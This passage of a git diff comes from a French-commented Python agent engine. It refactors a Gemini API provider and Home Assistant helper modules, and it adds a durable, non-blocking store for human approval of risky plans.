isinstance(schema, dict): @@ -443,7 +488,7 @@ def _convert_schema_to_gemini(self, schema: Any) -> Any: return [self._convert_schema_to_gemini(item) for item in schema] return schema - def _build_tools(self, use_search_grounding: bool = False, tools: list = None) -> Optional[list]: + def _build_tools(self, use_search_grounding: bool = False, tools: list = None) -> list | None: """ Construit la liste des outils au format natif Gemini. @@ -451,11 +496,11 @@ def _build_tools(self, use_search_grounding: bool = False, tools: list = None) - et le Google Search Grounding. """ result_tools = [] - + # Google Search Grounding if use_search_grounding and self.search_grounding_available: result_tools.append({"google_search": {}}) - + # Function declarations (traduction OpenAI → Gemini natif) if tools: functions = [] @@ -474,10 +519,10 @@ def _build_tools(self, use_search_grounding: bool = False, tools: list = None) - }) if functions: result_tools.append({"function_declarations": functions}) - + return result_tools if result_tools else None - def _translate_tool_calls(self, response_parts: list) -> Optional[list]: + def _translate_tool_calls(self, response_parts: list) -> list | None: """ Traduit les function_calls du format natif Gemini vers le format OpenAI attendu par le reste du moteur (ExecutorAgent, DAGRunner, etc.). @@ -493,32 +538,40 @@ def _translate_tool_calls(self, response_parts: list) -> Optional[list]: for i, part in enumerate(response_parts): if "functionCall" in part: fc = part["functionCall"] - tool_calls.append({ + tc = { "id": f"call_gemini_{i}_{int(time.time())}", "type": "function", "function": { "name": fc.get("name", ""), "arguments": json.dumps(fc.get("args", {})) } - }) + } + # Capture de la thought_signature (au niveau de la part) pour la + # ré-émettre au tour suivant. Champ privé "_..." : filtré avant + # envoi chez les providers OpenAI-compatibles. Un functionCall + # sans signature (modèle ancien) est toléré sans exception. + signature = part.get(THOUGHT_SIGNATURE_API_FIELD) + if signature: + tc[THOUGHT_SIGNATURE_INTERNAL_KEY] = signature + tool_calls.append(tc) return tool_calls if tool_calls else None def _record_tokens(self, usage_metadata: dict, model_name: str = None, **kwargs): """Enregistre la consommation de tokens dans le tracker.""" try: from core.token_tracker import record_usage - + prompt_tokens = usage_metadata.get("promptTokenCount", 0) completion_tokens = usage_metadata.get("candidatesTokenCount", 0) cached_tokens = usage_metadata.get("cachedContentTokenCount", 0) - + # Log spécial si des tokens cachés sont détectés (preuve que le caching fonctionne) if cached_tokens > 0: logger.info( f"[GEMINI NATIF] 💰 Cache hit ! {cached_tokens} tokens cachés " f"(économie ~{cached_tokens * 0.9:.0f} tokens facturés)" ) - + record_usage( model_name or self.model, prompt_tokens, @@ -531,7 +584,7 @@ def _record_tokens(self, usage_metadata: dict, model_name: str = None, **kwargs) # ────────────────────────────────────────────────────────── # Méthode principale : generate() # ────────────────────────────────────────────────────────── - + def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: """ Appelle l'API native Gemini generateContent. @@ -545,27 +598,27 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: # Extraire le system prompt des messages si fourni en format OpenAI if not system_prompt and kwargs.get("messages"): system_prompt = self._extract_system_from_messages(kwargs) - + # Construire le payload de base - payload: Dict[str, Any] = { + payload: dict[str, Any] = { "contents": self._build_contents(user_prompt, **kwargs), "generationConfig": { "temperature": kwargs.get("temperature", 0.0), } } - + # Stratégie de caching : # 1. Si le system prompt est assez long ET le cache explicite est activé → utiliser le cache # 2. Sinon → utiliser systemInstruction (caching implicite automatique) cache_name = None - if (self._cache_manager - and system_prompt + if (self._cache_manager + and system_prompt and len(system_prompt) >= self._min_cache_chars): # Tenter le cache explicite cache_name = self._cache_manager.refresh_if_needed( system_prompt, self.cache_ttl_seconds ) - + if cache_name: # Cache explicite actif → référencer le cache, pas de systemInstruction payload["cachedContent"] = cache_name @@ -574,7 +627,7 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: sys_instr = self._build_system_instruction(system_prompt) if sys_instr: payload["systemInstruction"] = sys_instr - + # Outils (Search Grounding + function declarations) use_grounding = kwargs.get("use_search_grounding", False) tools = self._build_tools( @@ -583,17 +636,17 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: ) if tools: payload["tools"] = tools - + logger.debug( f"[GEMINI NATIF] Appel {self.model} | " f"cache={'explicite' if cache_name else 'implicite'} | " f"grounding={use_grounding}" ) - + # Déterminer la clé active pour cet appel active_key = self._get_active_key() api_url = self._api_url("generateContent", key=active_key) - + try: response = requests.post( api_url, @@ -601,7 +654,7 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: json=payload, timeout=get_timeout("gemini") ) - + # Gestion 429 (rate-limit) → rotation de clé via le KeyPool if response.status_code == 429 and self._key_pool: self._key_pool.report_rate_limit(active_key) @@ -612,7 +665,7 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: next_key = self._key_pool.get_free_key(allow_cooldown=False) if next_key and next_key != active_key: logger.info( - f"[GEMINI NATIF] 🔄 429 → rotation de clé (KeyPool)" + "[GEMINI NATIF] 🔄 429 → rotation de clé (KeyPool)" ) retry_url = self._api_url("generateContent", key=next_key) response = requests.post( @@ -629,21 +682,21 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: f"[GEMINI NATIF] ⚠️ 429 et toutes les clés en cooldown " f"(dispo dans {wait:.0f}s) → pas de retry, escalade cascade." ) - + if response.status_code != 200: logger.error(f"[GEMINI NATIF] Échec de la requête ({response.status_code}) : {response.text}") response.raise_for_status() data = response.json() - + # Signaler le succès au pool if self._key_pool: self._key_pool.report_success(active_key) - + except requests.exceptions.HTTPError as e: status = e.response.status_code if e.response else "?" body = e.response.text[:500] if e.response else "" logger.error(f"[GEMINI NATIF] Erreur HTTP {status} : {body}") - + # Si c'est une erreur de cache (404 = cache expiré), retenter sans cache if status == 404 and cache_name: logger.warning("[GEMINI NATIF] Cache expiré côté serveur, retry sans cache.") @@ -664,22 +717,22 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: data = response.json() else: raise - + # Extraction de la réponse usage_metadata = data.get("usageMetadata", {}) self._record_tokens(usage_metadata, **kwargs) - + candidates = data.get("candidates", []) if not candidates: logger.warning(f"[GEMINI NATIF] Aucun candidat retourné : {data}") return "" - + content = candidates[0].get("content", {}) parts = content.get("parts", []) - + if not parts: return "" - + # Vérifier si c'est un appel d'outil (function_call) tool_calls = self._translate_tool_calls(parts) if tool_calls: @@ -689,17 +742,17 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: "content": None, "tool_calls": tool_calls } - + # Extraire le texte de la réponse text_parts = [p.get("text", "") for p in parts if "text" in p] return "\n".join(text_parts) - + # ────────────────────────────────────────────────────────── # Méthode structurée : generate_structured() # ────────────────────────────────────────────────────────── - + def generate_structured(self, system_prompt: str, user_prompt: str, - schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: + schema: dict[str, Any], **kwargs) -> dict[str, Any]: """ Appelle l'API Gemini avec le JSON mode natif (response_mime_type). @@ -707,36 +760,36 @@ def generate_structured(self, system_prompt: str, user_prompt: str, à produire du JSON valide (pas juste un hint dans le system prompt). """ sys_prompt = system_prompt + "\nTu DOIS répondre UNIQUEMENT au format JSON strict." - + # Forcer le JSON mode natif dans les kwargs kwargs["_force_json_mode"] = True - + # Sauvegarder les kwargs originaux et ajouter la config JSON original_generate = self.generate - + # Construire l'appel manuellement pour injecter response_mime_type if not sys_prompt and kwargs.get("messages"): sys_prompt = self._extract_system_from_messages(kwargs) - - payload: Dict[str, Any] = { + + payload: dict[str, Any] = { "contents": self._build_contents(user_prompt, **kwargs), "generationConfig": { "temperature": kwargs.get("temperature", 0.0), "responseMimeType": "application/json", } } - + # Ajouter le schéma de réponse si fourni et non vide if schema: payload["generationConfig"]["responseSchema"] = schema - + # System instruction (pas de cache explicite pour les appels structurés courts) sys_instr = self._build_system_instruction(sys_prompt) if sys_instr: payload["systemInstruction"] = sys_instr - + logger.debug(f"[GEMINI NATIF] Appel structuré {self.model} (JSON mode natif)") - + try: response = requests.post( self._api_url("generateContent"), @@ -746,20 +799,32 @@ def generate_structured(self, system_prompt: str, user_prompt: str, ) response.raise_for_status() data = response.json() - + # Token tracking usage_metadata = data.get("usageMetadata", {}) self._record_tokens(usage_metadata, **kwargs) - + # Extraction du JSON + # ⚠️ #T265 : chaque sortie en échec LÈVE au lieu de renvoyer {}. + # Un dict vide serait compté comme un succès par la cascade. candidates = data.get("candidates", []) if not candidates: - return {} - + # Cas typique : prompt bloqué (promptFeedback.blockReason). + # Le motif voyage dans le message : c'est la cascade qui le + # journalise ensuite, avec le nom du modèle fautif. + raise GeminiStructuredError( + f"Aucun candidat retourné par {self.model} " + f"(blockReason={data.get('promptFeedback', {}).get('blockReason')})" + ) + parts = candidates[0].get("content", {}).get("parts", []) if not parts: - return {} - + # Cas typique : finishReason=MAX_TOKENS ou SAFETY, contenu vide. + raise GeminiStructuredError( + f"Réponse sans contenu de {self.model} " + f"(finishReason={candidates[0].get('finishReason')})" + ) + text = parts[0].get("text", "{}") try: return json.loads(text) @@ -774,18 +839,28 @@ def generate_structured(self, system_prompt: str, user_prompt: str, cleaned = cleaned[:-3] try: return json.loads(cleaned.strip()) - except json.JSONDecodeError: + except json.JSONDecodeError as e_json: logger.error(f"[GEMINI NATIF] JSON invalide : {text[:200]}") - return {} - + raise GeminiStructuredError( + f"JSON invalide renvoyé par {self.model} : {text[:200]}" + ) from e_json + + except GeminiStructuredError: + # Déjà qualifiée et journalisée au point de levée : on la laisse + # remonter telle quelle, sans la ré-emballer. + raise except Exception as e: logger.error(f"[GEMINI NATIF] Erreur appel structuré : {e}") - return {} - + # Re-levée À L'IDENTIQUE (et non enveloppée) : la cascade inspecte + # le message pour détecter les 429 / rate limits et décider de + # retenter le même modèle avant de basculer + # (llm/providers/deepseek.py, generate_structured[_async]). + raise + # ────────────────────────────────────────────────────────── # Streaming : generate_stream() # ────────────────────────────────────────────────────────── - + def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): """ Streaming natif Gemini via streamGenerateContent (SSE). @@ -799,20 +874,20 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): """ if not system_prompt and kwargs.get("messages"): system_prompt = self._extract_system_from_messages(kwargs) - - payload: Dict[str, Any] = { + + payload: dict[str, Any] = { "contents": self._build_contents(user_prompt, **kwargs), "generationConfig": { "temperature": kwargs.get("temperature", 0.0), } } - + sys_instr = self._build_system_instruction(system_prompt) if sys_instr: payload["systemInstruction"] = sys_instr - + logger.debug(f"[GEMINI NATIF] Appel streaming {self.model}") - + try: # streamGenerateContent retourne un flux de JSON objects séparés par des newlines url = f"{self.base_url}/models/{self.model}:streamGenerateContent?alt=sse&key={self.api_key}" @@ -824,7 +899,7 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): stream=True ) response.raise_for_status() - + total_text = "" for line in response.iter_lines(decode_unicode=True): if not line or not line.startswith("data: "): @@ -832,20 +907,20 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): data_str = line[6:].strip() if not data_str: continue - + try: chunk = json.loads(data_str) candidates = chunk.get("candidates", []) if not candidates: continue - + parts = candidates[0].get("content", {}).get("parts", []) for part in parts: text = part.get("text", "") if text: total_text += text yield {"token": text, "done": False, "usage": None} - + # Vérifier si c'est le dernier chunk (finishReason présent) finish_reason = candidates[0].get("finishReason") if finish_reason: @@ -854,10 +929,10 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): self._record_tokens(usage_metadata, **kwargs) yield {"token": "", "done": True, "usage": usage_metadata} return - + except json.JSONDecodeError: continue - + # Si on arrive ici sans finishReason, le stream s'est terminé normalement # Estimer les tokens from core.token_tracker import record_usage @@ -869,15 +944,15 @@ def generate_stream(self, system_prompt: str, user_prompt: str, **kwargs): session_id=kwargs.get("session_id") ) yield {"token": "", "done": True, "usage": None} - + except Exception as e: logger.error(f"[GEMINI NATIF] Erreur streaming : {e}") yield {"token": f"[Erreur streaming: {e}]", "done": True, "usage": None} - + # ────────────────────────────────────────────────────────── # TTS : generate_audio() [P8] # ────────────────────────────────────────────────────────── - + def generate_audio( self, text: str, voice_name: str = "Kore", output_path: str = None, **kwargs ) -> dict: @@ -913,9 +988,9 @@ def generate_audio( } } } - + logger.info(f"[GEMINI TTS] Synthèse audio : voix={voice_name}, texte={len(text)} chars") - + try: response = requests.post( self._api_url("generateContent"), @@ -925,38 +1000,38 @@ def generate_audio( ) response.raise_for_status() data = response.json() - + # Token tracking usage_metadata = data.get("usageMetadata", {}) self._record_tokens(usage_metadata, **kwargs) - + candidates = data.get("candidates", []) if not candidates: return {"success": False, "error": "Aucun candidat retourné"} - + parts = candidates[0].get("content", {}).get("parts", []) - + # Chercher la partie audio dans les parts for part in parts: inline_data = part.get("inlineData") if inline_data and "audio" in inline_data.get("mimeType", ""): audio_b64 = inline_data.get("data", "") mime_type = inline_data.get("mimeType", "audio/pcm") - + if output_path: # Sauvegarder en fichier WAV import base64 audio_bytes = base64.b64decode(audio_b64) - + os.makedirs(os.path.dirname(os.path.abspath(output_path)), exist_ok=True) - + # Wrapper PCM brut en WAV (16-bit, 24kHz, mono) import struct sample_rate = 24000 bits_per_sample = 16 num_channels = 1 data_size = len(audio_bytes) - + with open(output_path, "wb") as f: # En-tête WAV f.write(b"RIFF") @@ -973,10 +1048,10 @@ def generate_audio( f.write(b"data") f.write(struct.pack(" dict: """Retourne l'état du cache pour le monitoring.""" if self._cache_manager: return self._cache_manager.get_status() return {"active": False, "cache_name": None, "model": self.model} - + def cleanup(self): """Nettoyage : supprimer les caches actifs (à appeler à l'arrêt du moteur).""" if self._cache_manager: diff --git a/core/ha_anomaly_detector.py b/core/ha_anomaly_detector.py index b66e11f..5239689 100644 --- a/core/ha_anomaly_detector.py +++ b/core/ha_anomaly_detector.py @@ -17,7 +17,6 @@ import sqlite3 import statistics from datetime import datetime, timedelta -from typing import List, Optional logger = logging.getLogger(__name__) @@ -39,13 +38,13 @@ def __init__(self, db_path: str = HA_DB_DEFAULT): db_path: Chemin vers home-assistant_v2.db (HAOS: /homeassistant/) """ self.db_path = db_path - self._conn: Optional[sqlite3.Connection] = None + self._conn: sqlite3.Connection | None = None # ────────────────────────────────────────────────────────────────── # Connexion SQLite # ────────────────────────────────────────────────────────────────── - async def _get_conn(self) -> Optional[sqlite3.Connection]: + async def _get_conn(self) -> sqlite3.Connection | None: """Retourne la connexion SQLite (lazy, read-only).""" if self._conn is None: try: @@ -63,7 +62,7 @@ async def _get_conn(self) -> Optional[sqlite3.Connection]: return None return self._conn - async def _query_states(self, entity_id: str, days: int = 7) -> List[dict]: + async def _query_states(self, entity_id: str, days: int = 7) -> list[dict]: """ Récupère les états d'une entité depuis SQLite. @@ -93,7 +92,7 @@ async def _query_states(self, entity_id: str, days: int = 7) -> List[dict]: logger.warning(f"[HA ANOMALY] Erreur requête {entity_id} : {e}") return [] - async def _get_top_entities(self, limit: int = 20, days: int = 7) -> List[str]: + async def _get_top_entities(self, limit: int = 20, days: int = 7) -> list[str]: """Retourne les TOP N entités les plus actives (par nb de changements).""" conn = await self._get_conn() if not conn: @@ -142,7 +141,7 @@ async def analyze_entity(self, entity_id: str, days: int = 7) -> dict: return {"entity_id": entity_id, "anomaly": False, "severity": "low", "details": f"Type non analysable : {entity_type}"} - async def _analyze_numeric(self, entity_id: str, states: List[dict]) -> dict: + async def _analyze_numeric(self, entity_id: str, states: list[dict]) -> dict: """ Détecte les dérives sur capteurs numériques. Anomalie si mean 24h > mean 7j ± 2σ. @@ -209,7 +208,7 @@ async def _analyze_numeric(self, entity_id: str, states: List[dict]) -> dict: return {"entity_id": entity_id, "anomaly": anomaly, "severity": severity, "details": details} - async def _analyze_binary(self, entity_id: str, states: List[dict]) -> dict: + async def _analyze_binary(self, entity_id: str, states: list[dict]) -> dict: """ Détecte les basculements anormaux sur entités binaires. Anomalie si transitions 24h > 2x la moyenne quotidienne 7j. @@ -260,9 +259,9 @@ async def _analyze_binary(self, entity_id: str, states: List[dict]) -> dict: async def analyze_all( self, - entity_ids: Optional[List[str]] = None, + entity_ids: list[str] | None = None, days: int = 7, - ) -> List[dict]: + ) -> list[dict]: """ Analyse toutes les entités spécifiées ou les TOP 20 les plus actives. @@ -296,7 +295,7 @@ async def analyze_all( ) return anomalies - async def format_suggestions(self, anomalies: List[dict]) -> str: + async def format_suggestions(self, anomalies: list[dict]) -> str: """ Formate les anomalies en texte lisible (TTS-friendly + Tab5). diff --git a/core/ha_fuzzy_matcher.py b/core/ha_fuzzy_matcher.py index 1fb0eeb..be997f1 100644 --- a/core/ha_fuzzy_matcher.py +++ b/core/ha_fuzzy_matcher.py @@ -64,7 +64,7 @@ ENTITY_CACHE_TTL = 60.0 # URL LM Studio pour les embeddings (PC dev par défaut ; override via .env Deck) -LM_STUDIO_URL = os.environ.get("LM_STUDIO_URL", "http://${HA_HOST:-192.168.1.x}:1234").rstrip("/") +LM_STUDIO_URL = os.environ.get("LM_STUDIO_URL", "http://${LM_STUDIO_HOST:-192.168.1.x}:1234").rstrip("/") LM_STUDIO_EMBED_MODEL = "nomic-embed-text" LM_STUDIO_EMBED_TIMEOUT = 3.0 # secondes diff --git a/core/ha_token.py b/core/ha_token.py new file mode 100644 index 0000000..f859ed6 --- /dev/null +++ b/core/ha_token.py @@ -0,0 +1,32 @@ +""" +core/ha_token.py — Lecture centralisée du token Home Assistant (T239). + +UNIQUE endroit du code autorisé à lire le token HA dans l'environnement. +Tous les appels HA (`Authorization: Bearer ...`) passent par `get_ha_token()`. + +Deux noms coexistent historiquement dans le .env : + - HASS_TOKEN (convention de ce moteur, prioritaire), + - HA_TOKEN (convention des outils MCP / tab5_pusher, en repli). + +`get_ha_token()` normalise le repli : HASS_TOKEN gagne s'il est défini, sinon +HA_TOKEN. Le .env conserve provisoirement les deux variables : le nettoyage +est une étape séparée, faite à la main (core/tab5_pusher.py lisait HA_TOKEN +sur le chemin de notification du watchdog en prod). + +⚠️ Les endroits qui testent la seule PRÉSENCE d'une clé pour un diagnostic de +configuration (ex. api/routes/context.py, api/routes/vocal.py) n'utilisent PAS +cet accesseur : leur sémantique est « cette clé précise existe-t-elle », pas +« donne-moi le token ». +""" + +import os + + +def get_ha_token() -> str: + """Token Bearer Home Assistant : HASS_TOKEN prioritaire, repli HA_TOKEN. + + Retourne "" si aucune des deux variables n'est définie — jamais + d'exception : chaque appelant décide de la conduite à tenir (skip, + log, message d'erreur) selon son contexte. + """ + return os.environ.get("HASS_TOKEN") or os.environ.get("HA_TOKEN") or "" diff --git a/core/healing.py b/core/healing.py index ad7235d..0fb4f01 100644 --- a/core/healing.py +++ b/core/healing.py @@ -14,8 +14,8 @@ import logging from typing import TYPE_CHECKING -from core.state import TaskPayload, ExecutionPhase from core.errors import classify_error +from core.state import ExecutionPhase, TaskPayload if TYPE_CHECKING: from core.engine import Engine diff --git a/core/hitl.py b/core/hitl.py index 6591a39..1b0353d 100644 --- a/core/hitl.py +++ b/core/hitl.py @@ -16,31 +16,39 @@ """ import asyncio -import time import logging -from typing import Optional, Dict, Any +import time from dataclasses import dataclass, field +from typing import Any logger = logging.getLogger(__name__) # Timeout par défaut avant auto-approbation (5 minutes) DEFAULT_APPROVAL_TIMEOUT = 300 +# [#T267] Issues possibles du point d'approbation avant DAG. Le troisième état +# (« en attente ») est celui qui manquait : sans lui, le moteur n'avait que +# « approuvé » et « rejeté », et devait donc BLOQUER pour trancher — d'où la +# course perdue contre le timeout de session. +DECISION_APPROUVE = "approved" +DECISION_REJETE = "rejected" +DECISION_EN_ATTENTE = "pending" + @dataclass class ApprovalRequest: """Représente une demande d'approbation humaine en attente.""" request_id: str description: str - plan_summary: Optional[str] = None + plan_summary: str | None = None risk_level: str = "medium" # "low", "medium", "high", "critical" created_at: float = field(default_factory=time.time) timeout: float = DEFAULT_APPROVAL_TIMEOUT # Résultat (rempli par approve/reject) - approved: Optional[bool] = None - feedback: Optional[str] = None + approved: bool | None = None + feedback: str | None = None # Données modifiables par l'humain avant approbation - modified_data: Optional[Dict[str, Any]] = None + modified_data: dict[str, Any] | None = None class HITLManager: @@ -62,9 +70,9 @@ class HITLManager: def __init__(self): # Événements en attente : request_id -> asyncio.Event - self._pending_events: Dict[str, asyncio.Event] = {} + self._pending_events: dict[str, asyncio.Event] = {} # Requêtes en attente : request_id -> ApprovalRequest - self._pending_requests: Dict[str, ApprovalRequest] = {} + self._pending_requests: dict[str, ApprovalRequest] = {} # Callback SSE pour notifier l'IHM self._on_event = None @@ -76,7 +84,7 @@ async def request_approval( self, request_id: str, description: str, - plan_summary: Optional[str] = None, + plan_summary: str | None = None, risk_level: str = "medium", timeout: float = DEFAULT_APPROVAL_TIMEOUT, on_event=None, @@ -136,7 +144,7 @@ async def request_approval( f"[HITL] ✅ Réponse reçue pour {request_id} : " f"{'approuvé' if request.approved else 'rejeté'}" ) - except asyncio.TimeoutError: + except TimeoutError: # Politique fail-safe : pour les plans à risque élevé/critique, le # timeout REJETTE par défaut (ne jamais exécuter une action sensible # sans validation explicite). Pour low/medium, auto-approbation. @@ -168,11 +176,74 @@ async def request_approval( return request + async def demander_sans_bloquer( + self, + request_id: str, + session_id: str, + dag_tasks: list[dict], + description: str, + objective: str = "", + plan_summary: str | None = None, + risk_level: str = "medium", + git_branch: str | None = None, + criteres: list | None = None, + on_event=None, + ) -> None: + """ + [#T267] Demande une approbation SANS bloquer le flux d'exécution. + + Différence essentielle avec `request_approval()` : on ne pose aucun + `asyncio.Event.wait()`. La demande et le DAG à rejouer sont PERSISTÉS, + l'IHM est notifiée, et l'appelant rend la main immédiatement — la session + peut se terminer proprement au lieu d'être tuée par le `wait_for` de 120 s + pendant que le HITL attendait jusqu'à 300 s. + + La reprise se fait plus tard, depuis `POST /api/approval/approve`, en + rejouant le DAG stocké **à l'identique**. + + Args: + dag_tasks: le DAG approuvé, déjà sérialisé en dicts JSON-safe. + git_branch: branche éphémère de la session, laissée en place jusqu'à + la décision (ne pas la fusionner ni l'annuler entre-temps). + """ + from core import hitl_store + + # Persistance AVANT notification : si l'IHM reçoit l'événement, la demande + # est déjà rejouable. L'inverse laisserait une demande visible mais perdue. + hitl_store.enregistrer_demande( + request_id=request_id, + session_id=session_id, + dag_tasks=dag_tasks, + objective=objective, + description=description, + plan_summary=plan_summary or "", + risk_level=risk_level, + git_branch=git_branch, + criteres=criteres, + ) + + logger.info( + f"[HITL] ⏸️ Approbation demandée SANS BLOCAGE : {request_id} " + f"(risque: {risk_level}, {len(dag_tasks)} tâche(s)). " + f"La session se termine ; l'exécution reprendra à l'approbation." + ) + + event_callback = on_event or self._on_event + if event_callback: + await event_callback("approval_required", { + "request_id": request_id, + "description": description, + "plan_summary": plan_summary, + "risk_level": risk_level, + "non_bloquant": True, + "created_at": time.time(), + }) + def approve( self, request_id: str, - feedback: Optional[str] = None, - modified_data: Optional[Dict[str, Any]] = None, + feedback: str | None = None, + modified_data: dict[str, Any] | None = None, ) -> bool: """ Approuve une demande en attente (appelé par l'API REST). @@ -203,7 +274,7 @@ def approve( def reject( self, request_id: str, - feedback: Optional[str] = None, + feedback: str | None = None, ) -> bool: """ Rejette une demande en attente (appelé par l'API REST). diff --git a/core/hitl_store.py b/core/hitl_store.py new file mode 100644 index 0000000..6500ae3 --- /dev/null +++ b/core/hitl_store.py @@ -0,0 +1,186 @@ +""" +core/hitl_store.py — Store durable des demandes d'approbation humaine (#T267). + +POURQUOI CE MODULE EXISTE +Avant #T267, une demande d'approbation ne vivait que dans la mémoire du +`HITLManager`, et l'entrée était dépilée dès que `request_approval()` rendait la +main. Or la session qui contenait l'attente était bornée à 120 s +(`services/pipeline_service.py`) alors que la fenêtre d'approbation valait 300 s +(`core/hitl.py`) : la session était tuée pendant que le HITL attendait encore. +Mesuré en production sur 24 h : 8 « Approbation demandée », **0 résolution** — +pas même l'auto-approbation prévue au timeout, parce que ce qui survenait était +une `CancelledError` externe et non le `TimeoutError` interne. Conséquence : +tout plan contenant une tâche à risque était structurellement inexécutable. + +La décision de conception (Axel, 10/08) est le HITL **non bloquant** : le plan +se met en attente HORS de la fenêtre de session, et reprend à l'approbation. +Cela suppose que la demande — et surtout le DAG approuvé — survive à la session +qui l'a créée, donc qu'elle soit persistée. C'est le rôle de ce module. + +RÈGLE DE SÉCURITÉ À NE PAS PERDRE +Le DAG est stocké sérialisé et rejoué **à l'identique** à la reprise. Il ne doit +jamais être re-planifié : approuver le plan A puis exécuter un plan B +re-généré viderait l'approbation humaine de son sens. +""" + +import json +import logging +import time +from typing import Any + +from core.runtime_db import get_connection + +logger = logging.getLogger(__name__) + +# Statuts possibles d'une demande. `pending` est le seul état depuis lequel une +# décision humaine est acceptée — c'est ce qui rend approve/reject idempotents. +STATUT_EN_ATTENTE = "pending" +STATUT_APPROUVE = "approved" +STATUT_REJETE = "rejected" +STATUT_REPRIS = "resumed" +STATUT_ECHEC = "failed" + + +def _ligne_en_dict(row: tuple, colonnes: list[str]) -> dict[str, Any]: + """Convertit une ligne SQLite en dict, en désérialisant le DAG au passage.""" + d = dict(zip(colonnes, row, strict=False)) + try: + d["dag_tasks"] = json.loads(d.pop("dag_tasks_json") or "[]") + except (json.JSONDecodeError, TypeError): + # Une demande dont le DAG est illisible ne doit pas faire planter la + # lecture de toute la file : elle est rendue avec un DAG vide, ce qui la + # rend non reprenable (et visible comme telle) plutôt qu'invisible. + logger.error(f"[HITL STORE] DAG illisible pour {d.get('request_id')} — demande non reprenable.") + d["dag_tasks"] = [] + # [#T253] Le contrat d'acceptation suit le même chemin que le DAG : il doit + # survivre à la session pour être évaluable à la reprise. + try: + d["criteres"] = json.loads(d.pop("criteres_json") or "[]") + except (json.JSONDecodeError, TypeError): + logger.warning(f"[HITL STORE] Contrat illisible pour {d.get('request_id')} — demande sans contrat.") + d["criteres"] = [] + return d + + +_COLONNES = [ + "request_id", "session_id", "objective", "description", "plan_summary", + "risk_level", "dag_tasks_json", "git_branch", "status", "feedback", + "created_at", "decided_at", "resumed_at", "criteres_json", +] +# Requête écrite en dur (et non composée depuis _COLONNES) : une construction par +# f-string déclenche S608 chez ruff, et la liste sert déjà au mapping des lignes. +_SELECT = ( + "SELECT request_id, session_id, objective, description, plan_summary, " + "risk_level, dag_tasks_json, git_branch, status, feedback, " + "created_at, decided_at, resumed_at, criteres_json FROM hitl_pending_approvals" +) + + +def enregistrer_demande( + request_id: str, + session_id: str, + dag_tasks: list[dict], + objective: str = "", + description: str = "", + plan_summary: str = "", + risk_level: str = "medium", + git_branch: str | None = None, + criteres: list | None = None, +) -> None: + """ + Persiste une demande d'approbation et le DAG à rejouer. + + `dag_tasks` doit être une liste de dicts JSON-sérialisables (issue de + `TaskPayload.model_dump(mode="json")`) : la fidélité prime, la reprise doit + pouvoir reconstruire exactement les mêmes tâches. + """ + with get_connection() as conn: + conn.execute( + """ + INSERT OR REPLACE INTO hitl_pending_approvals + (request_id, session_id, objective, description, plan_summary, + risk_level, dag_tasks_json, git_branch, status, created_at, + criteres_json) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + """, + ( + request_id, session_id, objective, description, plan_summary, + risk_level, json.dumps(dag_tasks, ensure_ascii=False), + git_branch, STATUT_EN_ATTENTE, time.time(), + json.dumps(criteres or [], ensure_ascii=False), + ), + ) + conn.commit() + logger.info( + f"[HITL STORE] Demande {request_id} persistée " + f"({len(dag_tasks)} tâche(s), {len(criteres or [])} critère(s) d'acceptation, " + f"risque={risk_level}, branche={git_branch or '—'})." + ) + + +def lire_demande(request_id: str) -> dict[str, Any] | None: + """Retourne une demande (DAG désérialisé), ou None si elle n'existe pas.""" + with get_connection() as conn: + row = conn.execute(f"{_SELECT} WHERE request_id = ?", (request_id,)).fetchone() + return _ligne_en_dict(row, _COLONNES) if row else None + + +def lister_en_attente() -> list[dict[str, Any]]: + """Retourne les demandes encore en attente de décision, plus anciennes d'abord.""" + with get_connection() as conn: + rows = conn.execute( + f"{_SELECT} WHERE status = ? ORDER BY created_at ASC", (STATUT_EN_ATTENTE,) + ).fetchall() + return [_ligne_en_dict(r, _COLONNES) for r in rows] + + +def marquer_decision(request_id: str, approuve: bool, feedback: str | None = None) -> bool: + """ + Enregistre la décision humaine. + + La transition n'est acceptée QUE depuis `pending` : une demande déjà décidée + (ou déjà reprise) ne peut pas être re-décidée. Sans cette garde, un double + clic sur « Approuver » relancerait deux fois le même DAG à risque. + + Returns: + True si la décision a été enregistrée, False si la demande est + introuvable ou n'était plus en attente. + """ + statut = STATUT_APPROUVE if approuve else STATUT_REJETE + with get_connection() as conn: + cur = conn.execute( + """ + UPDATE hitl_pending_approvals + SET status = ?, feedback = ?, decided_at = ? + WHERE request_id = ? AND status = ? + """, + (statut, feedback, time.time(), request_id, STATUT_EN_ATTENTE), + ) + conn.commit() + modifiees = cur.rowcount + if not modifiees: + logger.warning( + f"[HITL STORE] Décision refusée pour {request_id} : introuvable ou déjà traitée." + ) + return False + logger.info(f"[HITL STORE] Demande {request_id} → {statut}.") + return True + + +def marquer_reprise(request_id: str, succes: bool) -> None: + """Marque une demande approuvée comme rejouée (issue de l'exécution comprise).""" + with get_connection() as conn: + conn.execute( + "UPDATE hitl_pending_approvals SET status = ?, resumed_at = ? WHERE request_id = ?", + (STATUT_REPRIS if succes else STATUT_ECHEC, time.time(), request_id), + ) + conn.commit() + + +def compter_par_statut() -> dict[str, int]: + """Retourne le décompte des demandes par statut (observabilité).""" + with get_connection() as conn: + rows = conn.execute( + "SELECT status, COUNT(*) FROM hitl_pending_approvals GROUP BY status" + ).fetchall() + return {statut: nombre for statut, nombre in rows} diff --git a/core/intent_splitter.py b/core/intent_splitter.py index eeca291..36617b6 100644 --- a/core/intent_splitter.py +++ b/core/intent_splitter.py @@ -13,9 +13,8 @@ Créé dans le cadre de l'audit V5.5 (Axe R1 — multi-intent missing). """ -import re import logging -from typing import List, Optional, Tuple +import re logger = logging.getLogger(__name__) 